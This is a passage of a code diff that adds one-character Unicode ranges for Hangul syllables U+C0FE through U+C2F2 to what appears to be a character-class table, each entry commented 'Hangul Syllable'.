+ ["\uC0FE", "\uC0FE"], /* Hangul Syllable */
+ ["\uC0FF", "\uC0FF"], /* Hangul Syllable */
+ ["\uC100", "\uC100"], /* Hangul Syllable */
+ ["\uC101", "\uC101"], /* Hangul Syllable */
+ ["\uC102", "\uC102"], /* Hangul Syllable */
+ ["\uC103", "\uC103"], /* Hangul Syllable */
+ ["\uC104", "\uC104"], /* Hangul Syllable */
+ ["\uC105", "\uC105"], /* Hangul Syllable */
+ ["\uC106", "\uC106"], /* Hangul Syllable */
+ ["\uC107", "\uC107"], /* Hangul Syllable */
+ ["\uC108", "\uC108"], /* Hangul Syllable */
+ ["\uC109", "\uC109"], /* Hangul Syllable */
+ ["\uC10A", "\uC10A"], /* Hangul Syllable */
+ ["\uC10B", "\uC10B"], /* Hangul Syllable */
+ ["\uC10C", "\uC10C"], /* Hangul Syllable */
+ ["\uC10D", "\uC10D"], /* Hangul Syllable */
+ ["\uC10E", "\uC10E"], /* Hangul Syllable */
+ ["\uC10F", "\uC10F"], /* Hangul Syllable */
+ ["\uC110", "\uC110"], /* Hangul Syllable */
+ ["\uC111", "\uC111"], /* Hangul Syllable */
+ ["\uC112", "\uC112"], /* Hangul Syllable */
+ ["\uC113", "\uC113"], /* Hangul Syllable */
+ ["\uC114", "\uC114"], /* Hangul Syllable */
+ ["\uC115", "\uC115"], /* Hangul Syllable */
+ ["\uC116", "\uC116"], /* Hangul Syllable */
+ ["\uC117", "\uC117"], /* Hangul Syllable */
+ ["\uC118", "\uC118"], /* Hangul Syllable */
+ ["\uC119", "\uC119"], /* Hangul Syllable */
+ ["\uC11A", "\uC11A"], /* Hangul Syllable */
+ ["\uC11B", "\uC11B"], /* Hangul Syllable */
+ ["\uC11C", "\uC11C"], /* Hangul Syllable */
+ ["\uC11D", "\uC11D"], /* Hangul Syllable */
+ ["\uC11E", "\uC11E"], /* Hangul Syllable */
+ ["\uC11F", "\uC11F"], /* Hangul Syllable */
+ ["\uC120", "\uC120"], /* Hangul Syllable */
+ ["\uC121", "\uC121"], /* Hangul Syllable */
+ ["\uC122", "\uC122"], /* Hangul Syllable */
+ ["\uC123", "\uC123"], /* Hangul Syllable */
+ ["\uC124", "\uC124"], /* Hangul Syllable */
+ ["\uC125", "\uC125"], /* Hangul Syllable */
+ ["\uC126", "\uC126"], /* Hangul Syllable */
+ ["\uC127", "\uC127"], /* Hangul Syllable */
+ ["\uC128", "\uC128"], /* Hangul Syllable */
+ ["\uC129", "\uC129"], /* Hangul Syllable */
+ ["\uC12A", "\uC12A"], /* Hangul Syllable */
+ ["\uC12B", "\uC12B"], /* Hangul Syllable */
+ ["\uC12C", "\uC12C"], /* Hangul Syllable */
+ ["\uC12D", "\uC12D"], /* Hangul Syllable */
+ ["\uC12E", "\uC12E"], /* Hangul Syllable */
+ ["\uC12F", "\uC12F"], /* Hangul Syllable */
+ ["\uC130", "\uC130"], /* Hangul Syllable */
+ ["\uC131", "\uC131"], /* Hangul Syllable */
+ ["\uC132", "\uC132"], /* Hangul Syllable */
+ ["\uC133", "\uC133"], /* Hangul Syllable */
+ ["\uC134", "\uC134"], /* Hangul Syllable */
+ ["\uC135", "\uC135"], /* Hangul Syllable */
+ ["\uC136", "\uC136"], /* Hangul Syllable */
+ ["\uC137", "\uC137"], /* Hangul Syllable */
+ ["\uC138", "\uC138"], /* Hangul Syllable */
+ ["\uC139", "\uC139"], /* Hangul Syllable */
+ ["\uC13A", "\uC13A"], /* Hangul Syllable */
+ ["\uC13B", "\uC13B"], /* Hangul Syllable */
+ ["\uC13C", "\uC13C"], /* Hangul Syllable */
+ ["\uC13D", "\uC13D"], /* Hangul Syllable */
+ ["\uC13E", "\uC13E"], /* Hangul Syllable */
+ ["\uC13F", "\uC13F"], /* Hangul Syllable */
+ ["\uC140", "\uC140"], /* Hangul Syllable */
+ ["\uC141", "\uC141"], /* Hangul Syllable */
+ ["\uC142", "\uC142"], /* Hangul Syllable */
+ ["\uC143", "\uC143"], /* Hangul Syllable */
+ ["\uC144", "\uC144"], /* Hangul Syllable */
+ ["\uC145", "\uC145"], /* Hangul Syllable */
+ ["\uC146", "\uC146"], /* Hangul Syllable */
+ ["\uC147", "\uC147"], /* Hangul Syllable */
+ ["\uC148", "\uC148"], /* Hangul Syllable */
+ ["\uC149", "\uC149"], /* Hangul Syllable */
+ ["\uC14A", "\uC14A"], /* Hangul Syllable */
+ ["\uC14B", "\uC14B"], /* Hangul Syllable */
+ ["\uC14C", "\uC14C"], /* Hangul Syllable */
+ ["\uC14D", "\uC14D"], /* Hangul Syllable */
+ ["\uC14E", "\uC14E"], /* Hangul Syllable */
+ ["\uC14F", "\uC14F"], /* Hangul Syllable */
+ ["\uC150", "\uC150"], /* Hangul Syllable */
+ ["\uC151", "\uC151"], /* Hangul Syllable */
+ ["\uC152", "\uC152"], /* Hangul Syllable */
+ ["\uC153", "\uC153"], /* Hangul Syllable */
+ ["\uC154", "\uC154"], /* Hangul Syllable */
+ ["\uC155", "\uC155"], /* Hangul Syllable */
+ ["\uC156", "\uC156"], /* Hangul Syllable */
+ ["\uC157", "\uC157"], /* Hangul Syllable */
+ ["\uC158", "\uC158"], /* Hangul Syllable */
+ ["\uC159", "\uC159"], /* Hangul Syllable */
+ ["\uC15A", "\uC15A"], /* Hangul Syllable */
+ ["\uC15B", "\uC15B"], /* Hangul Syllable */
+ ["\uC15C", "\uC15C"], /* Hangul Syllable */
+ ["\uC15D", "\uC15D"], /* Hangul Syllable */
+ ["\uC15E", "\uC15E"], /* Hangul Syllable */
+ ["\uC15F", "\uC15F"], /* Hangul Syllable */
+ ["\uC160", "\uC160"], /* Hangul Syllable */
+ ["\uC161", "\uC161"], /* Hangul Syllable */
+ ["\uC162", "\uC162"], /* Hangul Syllable */
+ ["\uC163", "\uC163"], /* Hangul Syllable */
+ ["\uC164", "\uC164"], /* Hangul Syllable */
+ ["\uC165", "\uC165"], /* Hangul Syllable */
+ ["\uC166", "\uC166"], /* Hangul Syllable */
+ ["\uC167", "\uC167"], /* Hangul Syllable */
+ ["\uC168", "\uC168"], /* Hangul Syllable */
+ ["\uC169", "\uC169"], /* Hangul Syllable */
+ ["\uC16A", "\uC16A"], /* Hangul Syllable */
+ ["\uC16B", "\uC16B"], /* Hangul Syllable */
+ ["\uC16C", "\uC16C"], /* Hangul Syllable */
+ ["\uC16D", "\uC16D"], /* Hangul Syllable */
+ ["\uC16E", "\uC16E"], /* Hangul Syllable */
+ ["\uC16F", "\uC16F"], /* Hangul Syllable */
+ ["\uC170", "\uC170"], /* Hangul Syllable */
+ ["\uC171", "\uC171"], /* Hangul Syllable */
+ ["\uC172", "\uC172"], /* Hangul Syllable */
+ ["\uC173", "\uC173"], /* Hangul Syllable */
+ ["\uC174", "\uC174"], /* Hangul Syllable */
+ ["\uC175", "\uC175"], /* Hangul Syllable */
+ ["\uC176", "\uC176"], /* Hangul Syllable */
+ ["\uC177", "\uC177"], /* Hangul Syllable */
+ ["\uC178", "\uC178"], /* Hangul Syllable */
+ ["\uC179", "\uC179"], /* Hangul Syllable */
+ ["\uC17A", "\uC17A"], /* Hangul Syllable */
+ ["\uC17B", "\uC17B"], /* Hangul Syllable */
+ ["\uC17C", "\uC17C"], /* Hangul Syllable */
+ ["\uC17D", "\uC17D"], /* Hangul Syllable */
+ ["\uC17E", "\uC17E"], /* Hangul Syllable */
+ ["\uC17F", "\uC17F"], /* Hangul Syllable */
+ ["\uC180", "\uC180"], /* Hangul Syllable */
+ ["\uC181", "\uC181"], /* Hangul Syllable */
+ ["\uC182", "\uC182"], /* Hangul Syllable */
+ ["\uC183", "\uC183"], /* Hangul Syllable */
+ ["\uC184", "\uC184"], /* Hangul Syllable */
+ ["\uC185", "\uC185"], /* Hangul Syllable */
+ ["\uC186", "\uC186"], /* Hangul Syllable */
+ ["\uC187", "\uC187"], /* Hangul Syllable */
+ ["\uC188", "\uC188"], /* Hangul Syllable */
+ ["\uC189", "\uC189"], /* Hangul Syllable */
+ ["\uC18A", "\uC18A"], /* Hangul Syllable */
+ ["\uC18B", "\uC18B"], /* Hangul Syllable */
+ ["\uC18C", "\uC18C"], /* Hangul Syllable */
+ ["\uC18D", "\uC18D"], /* Hangul Syllable */
+ ["\uC18E", "\uC18E"], /* Hangul Syllable */
+ ["\uC18F", "\uC18F"], /* Hangul Syllable */
+ ["\uC190", "\uC190"], /* Hangul Syllable */
+ ["\uC191", "\uC191"], /* Hangul Syllable */
+ ["\uC192", "\uC192"], /* Hangul Syllable */
+ ["\uC193", "\uC193"], /* Hangul Syllable */
+ ["\uC194", "\uC194"], /* Hangul Syllable */
+ ["\uC195", "\uC195"], /* Hangul Syllable */
+ ["\uC196", "\uC196"], /* Hangul Syllable */
+ ["\uC197", "\uC197"], /* Hangul Syllable */
+ ["\uC198", "\uC198"], /* Hangul Syllable */
+ ["\uC199", "\uC199"], /* Hangul Syllable */
+ ["\uC19A", "\uC19A"], /* Hangul Syllable */
+ ["\uC19B", "\uC19B"], /* Hangul Syllable */
+ ["\uC19C", "\uC19C"], /* Hangul Syllable */
+ ["\uC19D", "\uC19D"], /* Hangul Syllable */
+ ["\uC19E", "\uC19E"], /* Hangul Syllable */
+ ["\uC19F", "\uC19F"], /* Hangul Syllable */
+ ["\uC1A0", "\uC1A0"], /* Hangul Syllable */
+ ["\uC1A1", "\uC1A1"], /* Hangul Syllable */
+ ["\uC1A2", "\uC1A2"], /* Hangul Syllable */
+ ["\uC1A3", "\uC1A3"], /* Hangul Syllable */
+ ["\uC1A4", "\uC1A4"], /* Hangul Syllable */
+ ["\uC1A5", "\uC1A5"], /* Hangul Syllable */
+ ["\uC1A6", "\uC1A6"], /* Hangul Syllable */
+ ["\uC1A7", "\uC1A7"], /* Hangul Syllable */
+ ["\uC1A8", "\uC1A8"], /* Hangul Syllable */
+ ["\uC1A9", "\uC1A9"], /* Hangul Syllable */
+ ["\uC1AA", "\uC1AA"], /* Hangul Syllable */
+ ["\uC1AB", "\uC1AB"], /* Hangul Syllable */
+ ["\uC1AC", "\uC1AC"], /* Hangul Syllable */
+ ["\uC1AD", "\uC1AD"], /* Hangul Syllable */
+ ["\uC1AE", "\uC1AE"], /* Hangul Syllable */
+ ["\uC1AF", "\uC1AF"], /* Hangul Syllable */
+ ["\uC1B0", "\uC1B0"], /* Hangul Syllable */
+ ["\uC1B1", "\uC1B1"], /* Hangul Syllable */
+ ["\uC1B2", "\uC1B2"], /* Hangul Syllable */
+ ["\uC1B3", "\uC1B3"], /* Hangul Syllable */
+ ["\uC1B4", "\uC1B4"], /* Hangul Syllable */
+ ["\uC1B5", "\uC1B5"], /* Hangul Syllable */
+ ["\uC1B6", "\uC1B6"], /* Hangul Syllable */
+ ["\uC1B7", "\uC1B7"], /* Hangul Syllable */
+ ["\uC1B8", "\uC1B8"], /* Hangul Syllable */
+ ["\uC1B9", "\uC1B9"], /* Hangul Syllable */
+ ["\uC1BA", "\uC1BA"], /* Hangul Syllable */
+ ["\uC1BB", "\uC1BB"], /* Hangul Syllable */
+ ["\uC1BC", "\uC1BC"], /* Hangul Syllable */
+ ["\uC1BD", "\uC1BD"], /* Hangul Syllable */
+ ["\uC1BE", "\uC1BE"], /* Hangul Syllable */
+ ["\uC1BF", "\uC1BF"], /* Hangul Syllable */
+ ["\uC1C0", "\uC1C0"], /* Hangul Syllable */
+ ["\uC1C1", "\uC1C1"], /* Hangul Syllable */
+ ["\uC1C2", "\uC1C2"], /* Hangul Syllable */
+ ["\uC1C3", "\uC1C3"], /* Hangul Syllable */
+ ["\uC1C4", "\uC1C4"], /* Hangul Syllable */
+ ["\uC1C5", "\uC1C5"], /* Hangul Syllable */
+ ["\uC1C6", "\uC1C6"], /* Hangul Syllable */
+ ["\uC1C7", "\uC1C7"], /* Hangul Syllable */
+ ["\uC1C8", "\uC1C8"], /* Hangul Syllable */
+ ["\uC1C9", "\uC1C9"], /* Hangul Syllable */
+ ["\uC1CA", "\uC1CA"], /* Hangul Syllable */
+ ["\uC1CB", "\uC1CB"], /* Hangul Syllable */
+ ["\uC1CC", "\uC1CC"], /* Hangul Syllable */
+ ["\uC1CD", "\uC1CD"], /* Hangul Syllable */
+ ["\uC1CE", "\uC1CE"], /* Hangul Syllable */
+ ["\uC1CF", "\uC1CF"], /* Hangul Syllable */
+ ["\uC1D0", "\uC1D0"], /* Hangul Syllable */
+ ["\uC1D1", "\uC1D1"], /* Hangul Syllable */
+ ["\uC1D2", "\uC1D2"], /* Hangul Syllable */
+ ["\uC1D3", "\uC1D3"], /* Hangul Syllable */
+ ["\uC1D4", "\uC1D4"], /* Hangul Syllable */
+ ["\uC1D5", "\uC1D5"], /* Hangul Syllable */
+ ["\uC1D6", "\uC1D6"], /* Hangul Syllable */
+ ["\uC1D7", "\uC1D7"], /* Hangul Syllable */
+ ["\uC1D8", "\uC1D8"], /* Hangul Syllable */
+ ["\uC1D9", "\uC1D9"], /* Hangul Syllable */
+ ["\uC1DA", "\uC1DA"], /* Hangul Syllable */
+ ["\uC1DB", "\uC1DB"], /* Hangul Syllable */
+ ["\uC1DC", "\uC1DC"], /* Hangul Syllable */
+ ["\uC1DD", "\uC1DD"], /* Hangul Syllable */
+ ["\uC1DE", "\uC1DE"], /* Hangul Syllable */
+ ["\uC1DF", "\uC1DF"], /* Hangul Syllable */
+ ["\uC1E0", "\uC1E0"], /* Hangul Syllable */
+ ["\uC1E1", "\uC1E1"], /* Hangul Syllable */
+ ["\uC1E2", "\uC1E2"], /* Hangul Syllable */
+ ["\uC1E3", "\uC1E3"], /* Hangul Syllable */
+ ["\uC1E4", "\uC1E4"], /* Hangul Syllable */
+ ["\uC1E5", "\uC1E5"], /* Hangul Syllable */
+ ["\uC1E6", "\uC1E6"], /* Hangul Syllable */
+ ["\uC1E7", "\uC1E7"], /* Hangul Syllable */
+ ["\uC1E8", "\uC1E8"], /* Hangul Syllable */
+ ["\uC1E9", "\uC1E9"], /* Hangul Syllable */
+ ["\uC1EA", "\uC1EA"], /* Hangul Syllable */
+ ["\uC1EB", "\uC1EB"], /* Hangul Syllable */
+ ["\uC1EC", "\uC1EC"], /* Hangul Syllable */
+ ["\uC1ED", "\uC1ED"], /* Hangul Syllable */
+ ["\uC1EE", "\uC1EE"], /* Hangul Syllable */
+ ["\uC1EF", "\uC1EF"], /* Hangul Syllable */
+ ["\uC1F0", "\uC1F0"], /* Hangul Syllable */
+ ["\uC1F1", "\uC1F1"], /* Hangul Syllable */
+ ["\uC1F2", "\uC1F2"], /* Hangul Syllable */
+ ["\uC1F3", "\uC1F3"], /* Hangul Syllable */
+ ["\uC1F4", "\uC1F4"], /* Hangul Syllable */
+ ["\uC1F5", "\uC1F5"], /* Hangul Syllable */
+ ["\uC1F6", "\uC1F6"], /* Hangul Syllable */
+ ["\uC1F7", "\uC1F7"], /* Hangul Syllable */
+ ["\uC1F8", "\uC1F8"], /* Hangul Syllable */
+ ["\uC1F9", "\uC1F9"], /* Hangul Syllable */
+ ["\uC1FA", "\uC1FA"], /* Hangul Syllable */
+ ["\uC1FB", "\uC1FB"], /* Hangul Syllable */
+ ["\uC1FC", "\uC1FC"], /* Hangul Syllable */
+ ["\uC1FD", "\uC1FD"], /* Hangul Syllable */
+ ["\uC1FE", "\uC1FE"], /* Hangul Syllable */
+ ["\uC1FF", "\uC1FF"], /* Hangul Syllable */
+ ["\uC200", "\uC200"], /* Hangul Syllable */
+ ["\uC201", "\uC201"], /* Hangul Syllable */
+ ["\uC202", "\uC202"], /* Hangul Syllable */
+ ["\uC203", "\uC203"], /* Hangul Syllable */
+ ["\uC204", "\uC204"], /* Hangul Syllable */
+ ["\uC205", "\uC205"], /* Hangul Syllable */
+ ["\uC206", "\uC206"], /* Hangul Syllable */
+ ["\uC207", "\uC207"], /* Hangul Syllable */
+ ["\uC208", "\uC208"], /* Hangul Syllable */
+ ["\uC209", "\uC209"], /* Hangul Syllable */
+ ["\uC20A", "\uC20A"], /* Hangul Syllable */
+ ["\uC20B", "\uC20B"], /* Hangul Syllable */
+ ["\uC20C", "\uC20C"], /* Hangul Syllable */
+ ["\uC20D", "\uC20D"], /* Hangul Syllable */
+ ["\uC20E", "\uC20E"], /* Hangul Syllable */
+ ["\uC20F", "\uC20F"], /* Hangul Syllable */
+ ["\uC210", "\uC210"], /* Hangul Syllable */
+ ["\uC211", "\uC211"], /* Hangul Syllable */
+ ["\uC212", "\uC212"], /* Hangul Syllable */
+ ["\uC213", "\uC213"], /* Hangul Syllable */
+ ["\uC214", "\uC214"], /* Hangul Syllable */
+ ["\uC215", "\uC215"], /* Hangul Syllable */
+ ["\uC216", "\uC216"], /* Hangul Syllable */
+ ["\uC217", "\uC217"], /* Hangul Syllable */
+ ["\uC218", "\uC218"], /* Hangul Syllable */
+ ["\uC219", "\uC219"], /* Hangul Syllable */
+ ["\uC21A", "\uC21A"], /* Hangul Syllable */
+ ["\uC21B", "\uC21B"], /* Hangul Syllable */
+ ["\uC21C", "\uC21C"], /* Hangul Syllable */
+ ["\uC21D", "\uC21D"], /* Hangul Syllable */
+ ["\uC21E", "\uC21E"], /* Hangul Syllable */
+ ["\uC21F", "\uC21F"], /* Hangul Syllable */
+ ["\uC220", "\uC220"], /* Hangul Syllable */
+ ["\uC221", "\uC221"], /* Hangul Syllable */
+ ["\uC222", "\uC222"], /* Hangul Syllable */
+ ["\uC223", "\uC223"], /* Hangul Syllable */
+ ["\uC224", "\uC224"], /* Hangul Syllable */
+ ["\uC225", "\uC225"], /* Hangul Syllable */
+ ["\uC226", "\uC226"], /* Hangul Syllable */
+ ["\uC227", "\uC227"], /* Hangul Syllable */
+ ["\uC228", "\uC228"], /* Hangul Syllable */
+ ["\uC229", "\uC229"], /* Hangul Syllable */
+ ["\uC22A", "\uC22A"], /* Hangul Syllable */
+ ["\uC22B", "\uC22B"], /* Hangul Syllable */
+ ["\uC22C", "\uC22C"], /* Hangul Syllable */
+ ["\uC22D", "\uC22D"], /* Hangul Syllable */
+ ["\uC22E", "\uC22E"], /* Hangul Syllable */
+ ["\uC22F", "\uC22F"], /* Hangul Syllable */
+ ["\uC230", "\uC230"], /* Hangul Syllable */
+ ["\uC231", "\uC231"], /* Hangul Syllable */
+ ["\uC232", "\uC232"], /* Hangul Syllable */
+ ["\uC233", "\uC233"], /* Hangul Syllable */
+ ["\uC234", "\uC234"], /* Hangul Syllable */
+ ["\uC235", "\uC235"], /* Hangul Syllable */
+ ["\uC236", "\uC236"], /* Hangul Syllable */
+ ["\uC237", "\uC237"], /* Hangul Syllable */
+ ["\uC238", "\uC238"], /* Hangul Syllable */
+ ["\uC239", "\uC239"], /* Hangul Syllable */
+ ["\uC23A", "\uC23A"], /* Hangul Syllable */
+ ["\uC23B", "\uC23B"], /* Hangul Syllable */
+ ["\uC23C", "\uC23C"], /* Hangul Syllable */
+ ["\uC23D", "\uC23D"], /* Hangul Syllable */
+ ["\uC23E", "\uC23E"], /* Hangul Syllable */
+ ["\uC23F", "\uC23F"], /* Hangul Syllable */
+ ["\uC240", "\uC240"], /* Hangul Syllable */
+ ["\uC241", "\uC241"], /* Hangul Syllable */
+ ["\uC242", "\uC242"], /* Hangul Syllable */
+ ["\uC243", "\uC243"], /* Hangul Syllable */
+ ["\uC244", "\uC244"], /* Hangul Syllable */
+ ["\uC245", "\uC245"], /* Hangul Syllable */
+ ["\uC246", "\uC246"], /* Hangul Syllable */
+ ["\uC247", "\uC247"], /* Hangul Syllable */
+ ["\uC248", "\uC248"], /* Hangul Syllable */
+ ["\uC249", "\uC249"], /* Hangul Syllable */
+ ["\uC24A", "\uC24A"], /* Hangul Syllable */
+ ["\uC24B", "\uC24B"], /* Hangul Syllable */
+ ["\uC24C", "\uC24C"], /* Hangul Syllable */
+ ["\uC24D", "\uC24D"], /* Hangul Syllable */
+ ["\uC24E", "\uC24E"], /* Hangul Syllable */
+ ["\uC24F", "\uC24F"], /* Hangul Syllable */
+ ["\uC250", "\uC250"], /* Hangul Syllable */
+ ["\uC251", "\uC251"], /* Hangul Syllable */
+ ["\uC252", "\uC252"], /* Hangul Syllable */
+ ["\uC253", "\uC253"], /* Hangul Syllable */
+ ["\uC254", "\uC254"], /* Hangul Syllable */
+ ["\uC255", "\uC255"], /* Hangul Syllable */
+ ["\uC256", "\uC256"], /* Hangul Syllable */
+ ["\uC257", "\uC257"], /* Hangul Syllable */
+ ["\uC258", "\uC258"], /* Hangul Syllable */
+ ["\uC259", "\uC259"], /* Hangul Syllable */
+ ["\uC25A", "\uC25A"], /* Hangul Syllable */
+ ["\uC25B", "\uC25B"], /* Hangul Syllable */
+ ["\uC25C", "\uC25C"], /* Hangul Syllable */
+ ["\uC25D", "\uC25D"], /* Hangul Syllable */
+ ["\uC25E", "\uC25E"], /* Hangul Syllable */
+ ["\uC25F", "\uC25F"], /* Hangul Syllable */
+ ["\uC260", "\uC260"], /* Hangul Syllable */
+ ["\uC261", "\uC261"], /* Hangul Syllable */
+ ["\uC262", "\uC262"], /* Hangul Syllable */
+ ["\uC263", "\uC263"], /* Hangul Syllable */
+ ["\uC264", "\uC264"], /* Hangul Syllable */
+ ["\uC265", "\uC265"], /* Hangul Syllable */
+ ["\uC266", "\uC266"], /* Hangul Syllable */
+ ["\uC267", "\uC267"], /* Hangul Syllable */
+ ["\uC268", "\uC268"], /* Hangul Syllable */
+ ["\uC269", "\uC269"], /* Hangul Syllable */
+ ["\uC26A", "\uC26A"], /* Hangul Syllable */
+ ["\uC26B", "\uC26B"], /* Hangul Syllable */
+ ["\uC26C", "\uC26C"], /* Hangul Syllable */
+ ["\uC26D", "\uC26D"], /* Hangul Syllable */
+ ["\uC26E", "\uC26E"], /* Hangul Syllable */
+ ["\uC26F", "\uC26F"], /* Hangul Syllable */
+ ["\uC270", "\uC270"], /* Hangul Syllable */
+ ["\uC271", "\uC271"], /* Hangul Syllable */
+ ["\uC272", "\uC272"], /* Hangul Syllable */
+ ["\uC273", "\uC273"], /* Hangul Syllable */
+ ["\uC274", "\uC274"], /* Hangul Syllable */
+ ["\uC275", "\uC275"], /* Hangul Syllable */
+ ["\uC276", "\uC276"], /* Hangul Syllable */
+ ["\uC277", "\uC277"], /* Hangul Syllable */
+ ["\uC278", "\uC278"], /* Hangul Syllable */
+ ["\uC279", "\uC279"], /* Hangul Syllable */
+ ["\uC27A", "\uC27A"], /* Hangul Syllable */
+ ["\uC27B", "\uC27B"], /* Hangul Syllable */
+ ["\uC27C", "\uC27C"], /* Hangul Syllable */
+ ["\uC27D", "\uC27D"], /* Hangul Syllable */
+ ["\uC27E", "\uC27E"], /* Hangul Syllable */
+ ["\uC27F", "\uC27F"], /* Hangul Syllable */
+ ["\uC280", "\uC280"], /* Hangul Syllable */
+ ["\uC281", "\uC281"], /* Hangul Syllable */
+ ["\uC282", "\uC282"], /* Hangul Syllable */
+ ["\uC283", "\uC283"], /* Hangul Syllable */
+ ["\uC284", "\uC284"], /* Hangul Syllable */
+ ["\uC285", "\uC285"], /* Hangul Syllable */
+ ["\uC286", "\uC286"], /* Hangul Syllable */
+ ["\uC287", "\uC287"], /* Hangul Syllable */
+ ["\uC288", "\uC288"], /* Hangul Syllable */
+ ["\uC289", "\uC289"], /* Hangul Syllable */
+ ["\uC28A", "\uC28A"], /* Hangul Syllable */
+ ["\uC28B", "\uC28B"], /* Hangul Syllable */
+ ["\uC28C", "\uC28C"], /* Hangul Syllable */
+ ["\uC28D", "\uC28D"], /* Hangul Syllable */
+ ["\uC28E", "\uC28E"], /* Hangul Syllable */
+ ["\uC28F", "\uC28F"], /* Hangul Syllable */
+ ["\uC290", "\uC290"], /* Hangul Syllable */
+ ["\uC291", "\uC291"], /* Hangul Syllable */
+ ["\uC292", "\uC292"], /* Hangul Syllable */
+ ["\uC293", "\uC293"], /* Hangul Syllable */
+ ["\uC294", "\uC294"], /* Hangul Syllable */
+ ["\uC295", "\uC295"], /* Hangul Syllable */
+ ["\uC296", "\uC296"], /* Hangul Syllable */
+ ["\uC297", "\uC297"], /* Hangul Syllable */
+ ["\uC298", "\uC298"], /* Hangul Syllable */
+ ["\uC299", "\uC299"], /* Hangul Syllable */
+ ["\uC29A", "\uC29A"], /* Hangul Syllable */
+ ["\uC29B", "\uC29B"], /* Hangul Syllable */
+ ["\uC29C", "\uC29C"], /* Hangul Syllable */
+ ["\uC29D", "\uC29D"], /* Hangul Syllable */
+ ["\uC29E", "\uC29E"], /* Hangul Syllable */
+ ["\uC29F", "\uC29F"], /* Hangul Syllable */
+ ["\uC2A0", "\uC2A0"], /* Hangul Syllable */
+ ["\uC2A1", "\uC2A1"], /* Hangul Syllable */
+ ["\uC2A2", "\uC2A2"], /* Hangul Syllable */
+ ["\uC2A3", "\uC2A3"], /* Hangul Syllable */
+ ["\uC2A4", "\uC2A4"], /* Hangul Syllable */
+ ["\uC2A5", "\uC2A5"], /* Hangul Syllable */
+ ["\uC2A6", "\uC2A6"], /* Hangul Syllable */
+ ["\uC2A7", "\uC2A7"], /* Hangul Syllable */
+ ["\uC2A8", "\uC2A8"], /* Hangul Syllable */
+ ["\uC2A9", "\uC2A9"], /* Hangul Syllable */
+ ["\uC2AA", "\uC2AA"], /* Hangul Syllable */
+ ["\uC2AB", "\uC2AB"], /* Hangul Syllable */
+ ["\uC2AC", "\uC2AC"], /* Hangul Syllable */
+ ["\uC2AD", "\uC2AD"], /* Hangul Syllable */
+ ["\uC2AE", "\uC2AE"], /* Hangul Syllable */
+ ["\uC2AF", "\uC2AF"], /* Hangul Syllable */
+ ["\uC2B0", "\uC2B0"], /* Hangul Syllable */
+ ["\uC2B1", "\uC2B1"], /* Hangul Syllable */
+ ["\uC2B2", "\uC2B2"], /* Hangul Syllable */
+ ["\uC2B3", "\uC2B3"], /* Hangul Syllable */
+ ["\uC2B4", "\uC2B4"], /* Hangul Syllable */
+ ["\uC2B5", "\uC2B5"], /* Hangul Syllable */
+ ["\uC2B6", "\uC2B6"], /* Hangul Syllable */
+ ["\uC2B7", "\uC2B7"], /* Hangul Syllable */
+ ["\uC2B8", "\uC2B8"], /* Hangul Syllable */
+ ["\uC2B9", "\uC2B9"], /* Hangul Syllable */
+ ["\uC2BA", "\uC2BA"], /* Hangul Syllable */
+ ["\uC2BB", "\uC2BB"], /* Hangul Syllable */
+ ["\uC2BC", "\uC2BC"], /* Hangul Syllable */
+ ["\uC2BD", "\uC2BD"], /* Hangul Syllable */
+ ["\uC2BE", "\uC2BE"], /* Hangul Syllable */
+ ["\uC2BF", "\uC2BF"], /* Hangul Syllable */
+ ["\uC2C0", "\uC2C0"], /* Hangul Syllable */
+ ["\uC2C1", "\uC2C1"], /* Hangul Syllable */
+ ["\uC2C2", "\uC2C2"], /* Hangul Syllable */
+ ["\uC2C3", "\uC2C3"], /* Hangul Syllable */
+ ["\uC2C4", "\uC2C4"], /* Hangul Syllable */
+ ["\uC2C5", "\uC2C5"], /* Hangul Syllable */
+ ["\uC2C6", "\uC2C6"], /* Hangul Syllable */
+ ["\uC2C7", "\uC2C7"], /* Hangul Syllable */
+ ["\uC2C8", "\uC2C8"], /* Hangul Syllable */
+ ["\uC2C9", "\uC2C9"], /* Hangul Syllable */
+ ["\uC2CA", "\uC2CA"], /* Hangul Syllable */
+ ["\uC2CB", "\uC2CB"], /* Hangul Syllable */
+ ["\uC2CC", "\uC2CC"], /* Hangul Syllable */
+ ["\uC2CD", "\uC2CD"], /* Hangul Syllable */
+ ["\uC2CE", "\uC2CE"], /* Hangul Syllable */
+ ["\uC2CF", "\uC2CF"], /* Hangul Syllable */
+ ["\uC2D0", "\uC2D0"], /* Hangul Syllable */
+ ["\uC2D1", "\uC2D1"], /* Hangul Syllable */
+ ["\uC2D2", "\uC2D2"], /* Hangul Syllable */
+ ["\uC2D3", "\uC2D3"], /* Hangul Syllable */
+ ["\uC2D4", "\uC2D4"], /* Hangul Syllable */
+ ["\uC2D5", "\uC2D5"], /* Hangul Syllable */
+ ["\uC2D6", "\uC2D6"], /* Hangul Syllable */
+ ["\uC2D7", "\uC2D7"], /* Hangul Syllable */
+ ["\uC2D8", "\uC2D8"], /* Hangul Syllable */
+ ["\uC2D9", "\uC2D9"], /* Hangul Syllable */
+ ["\uC2DA", "\uC2DA"], /* Hangul Syllable */
+ ["\uC2DB", "\uC2DB"], /* Hangul Syllable */
+ ["\uC2DC", "\uC2DC"], /* Hangul Syllable */
+ ["\uC2DD", "\uC2DD"], /* Hangul Syllable */
+ ["\uC2DE", "\uC2DE"], /* Hangul Syllable */
+ ["\uC2DF", "\uC2DF"], /* Hangul Syllable */
+ ["\uC2E0", "\uC2E0"], /* Hangul Syllable */
+ ["\uC2E1", "\uC2E1"], /* Hangul Syllable */
+ ["\uC2E2", "\uC2E2"], /* Hangul Syllable */
+ ["\uC2E3", "\uC2E3"], /* Hangul Syllable */
+ ["\uC2E4", "\uC2E4"], /* Hangul Syllable */
+ ["\uC2E5", "\uC2E5"], /* Hangul Syllable */
+ ["\uC2E6", "\uC2E6"], /* Hangul Syllable */
+ ["\uC2E7", "\uC2E7"], /* Hangul Syllable */
+ ["\uC2E8", "\uC2E8"], /* Hangul Syllable */
+ ["\uC2E9", "\uC2E9"], /* Hangul Syllable */
+ ["\uC2EA", "\uC2EA"], /* Hangul Syllable */
+ ["\uC2EB", "\uC2EB"], /* Hangul Syllable */
+ ["\uC2EC", "\uC2EC"], /* Hangul Syllable */
+ ["\uC2ED", "\uC2ED"], /* Hangul Syllable */
+ ["\uC2EE", "\uC2EE"], /* Hangul Syllable */
+ ["\uC2EF", "\uC2EF"], /* Hangul Syllable */
+ ["\uC2F0", "\uC2F0"], /* Hangul Syllable */
+ ["\uC2F1", "\uC2F1"], /* Hangul Syllable */
+ ["\uC2F2", "\uC2F2"], /* Hangul Syllable */
